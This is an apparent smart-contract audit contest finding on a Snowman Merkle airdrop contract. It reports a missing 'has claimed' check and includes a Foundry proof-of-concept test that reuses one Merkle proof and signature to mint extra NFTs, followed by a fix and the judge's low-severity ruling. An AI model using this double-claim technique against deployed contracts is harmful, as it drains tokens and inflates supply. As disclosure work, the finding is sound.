Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: low
Valid

Repeated Claims

Description

  • Normal behaviour: Each address should be able to claim its Snowman NFTs once.

  • Issue: The contract never checks s_hasClaimedSnowman[receiver] before minting; an attacker can reuse the same proof/signature after topping-up $SNOW and mint unbounded NFTs.

mapping(address => bool) private s_hasClaimedSnowman;
function claimSnowman(...) external nonReentrant {
...
// ⛔ No “has claimed” gate here
...
@> s_hasClaimedSnowman[receiver] = true;
}

Risk

Likelihood

  • Anyone who still owns any $SNOW can call claimSnowman again.

  • Gas cost is low and Merkle proofs / signatures never expire.

Impact

  • Unlimited NFT inflation destroys the rarity schedule.

  • $SNOW supply siphoned into the contract (effectively burned).

Proof of Concept

See test/PoC_SnowmanAirdrop_DoubleClaim.t.sol.

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
import {Helper} from "../script/Helper.s.sol";
/**
* @title PoC_DoubleClaim
* @notice Demonstrates that a user can claim multiple Snowman NFTs by continuously topping up their
* $SNOW balance and re-using the same Merkle proof & signature, because the contract never
* verifies that an address has already claimed.
*/
contract PoC_SnowmanAirdrop_DoubleClaim is Test {
Snow snow;
Snowman nft;
SnowmanAirdrop airdrop;
MockWETH weth;
Helper deployer;
// Merkle proof for Alice taken from the repository's existing tests.
bytes32 alProofA = 0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52;
bytes32 alProofB = 0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af;
bytes32 alProofC = 0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
bytes32[] AL_PROOF = [alProofA, alProofB, alProofC];
address alice;
uint256 alKey;
address attacker; // the gas-payer that will submit the transactions
function setUp() public {
deployer = new Helper();
(airdrop, snow, nft, weth) = deployer.run();
(alice, alKey) = makeAddrAndKey("alice");
attacker = makeAddr("attacker");
// Alice initially earns 1 $SNOW via the Helper script. She now approves the airdrop.
vm.prank(alice);
snow.approve(address(airdrop), type(uint256).max);
}
function testDoubleClaim() public {
// -------- First claim --------
bytes32 digest = airdrop.getMessageHash(alice);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, digest);
vm.prank(attacker);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertEq(nft.balanceOf(alice), 1, "First mint failed");
assertEq(snow.balanceOf(alice), 0, "$SNOW was not transferred to airdrop contract");
// -------- Top-up $SNOW balance --------
// The adversary gives Alice one additional $SNOW (could be via any means, e.g., purchase).
deal(address(snow), alice, 1);
assertEq(snow.balanceOf(alice), 1, "Top-up failed");
// Re-using the *same* signature & proof works because the contract never checks hasClaimed.
vm.prank(attacker);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
// Alice now owns two NFTs even though the airdrop was intended to be one-time.
assertEq(nft.balanceOf(alice), 2, "Double-claim succeeded, vulnerability proven");
}
}

Recommended Mitigation

function claimSnowman(...) external nonReentrant {
- ...
+ if (s_hasClaimedSnowman[receiver]) revert AlreadyClaimed();
...
+ s_hasClaimedSnowman[receiver] = true;
}
Updates

Lead Judging Commences

yeahchibyke Lead Judge 12 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of claim check

The claim function of the Snowman Airdrop contract doesn't check that a recipient has already claimed a Snowman. This poses no significant risk as is as farming period must have been long concluded before snapshot, creation of merkle script, and finally claiming.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.